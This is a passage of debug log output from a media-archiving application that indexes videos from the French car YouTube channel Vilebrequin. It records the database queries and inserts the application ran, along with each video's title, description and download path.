ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, 1, ~U[2023-07-13 16:15:00Z]] 07:41:58.361 [debug] QUERY OK source="sources" db=0.8ms queue=3.1ms idle=131.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:58.364 [debug] QUERY OK source="media_profiles" db=1.7ms queue=0.1ms idle=72.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:58.365 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=72.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 07:41:58.366 [debug] Current batch of media processed. Will check again in 1000ms 07:41:59.367 [debug] Current batch of media processed. Will check again in 1000ms 07:42:00.369 [debug] Current batch of media processed. Will check again in 1000ms 07:42:00.419 [info] {"source":"oban","duration":1726,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:01.370 [debug] Current batch of media processed. Will check again in 1000ms 07:42:02.371 [debug] Current batch of media processed. Will check again in 1000ms 07:42:03.372 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "duration" => 1557, "filename" => "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", "id" => "oN772QacXLs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oN772QacXLs", "playlist_index" => 18, "timestamp" => 1688660102, "title" => "On atteint la V-MAX du 1000tipla sur les Hunaudières", "upload_date" => "20230706"} 07:42:03.374 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1890.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:03.376 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=1892.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:03.383 [debug] QUERY OK source="media_items" db=6.4ms queue=0.1ms idle=1894.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 16:15:02Z], 1] 07:42:03.388 [debug] QUERY OK source="media_items" db=3.3ms idle=1134.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "b7cf09df-a431-427a-8706-f58becee3e45", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", 18, "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, false, false, 1, [], 98, ~U[2023-07-06 16:15:02Z], ~U[2026-04-19 05:42:03Z], ~U[2026-04-19 05:42:03Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, 1, ~U[2023-07-06 16:15:02Z]] 07:42:03.389 [debug] QUERY OK source="sources" db=0.6ms idle=135.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:03.390 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=15.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:03.391 [debug] QUERY OK source="media_items" db=0.6ms idle=14.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 07:42:03.391 [debug] Current batch of media processed. Will check again in 1000ms 07:42:04.080 [info] {"source":"oban","duration":4531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:04.392 [debug] Current batch of media processed. Will check again in 1000ms 07:42:05.394 [debug] Current batch of media processed. Will check again in 1000ms 07:42:06.395 [debug] Current batch of media processed. Will check again in 1000ms 07:42:07.397 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "duration" => 3774, "filename" => "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", "id" => "wFxlSC3HLZE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wFxlSC3HLZE", "playlist_index" => 19, "timestamp" => 1688058902, "title" => "MERGUEZ TUNING SHOW : C'était une dinguerie", "upload_date" => "20230629"} 07:42:07.399 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=1915.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:07.401 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1134.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:07.406 [debug] QUERY OK source="media_items" db=4.5ms queue=0.2ms idle=919.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 17:15:02Z], 1] 07:42:07.412 [debug] QUERY OK source="media_items" db=4.2ms idle=925.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "5ede7b38-5fcf-4f56-9de1-52992070a435", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", 19, "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, false, false, 1, [], 98, ~U[2023-06-29 17:15:02Z], ~U[2026-04-19 05:42:07Z], ~U[2026-04-19 05:42:07Z], "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, 1, ~U[2023-06-29 17:15:02Z]] 07:42:07.414 [debug] QUERY OK source="sources" db=1.3ms idle=144.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:07.416 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.2ms idle=15.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:07.419 [debug] QUERY OK source="media_items" db=1.6ms idle=15.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 07:42:07.419 [debug] Current batch of media processed. Will check again in 1000ms 07:42:08.423 [debug] Current batch of media processed. Will check again in 1000ms 07:42:09.427 [debug] Current batch of media processed. Will check again in 1000ms 07:42:10.428 [debug] Current batch of media processed. Will check again in 1000ms 07:42:11.429 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, 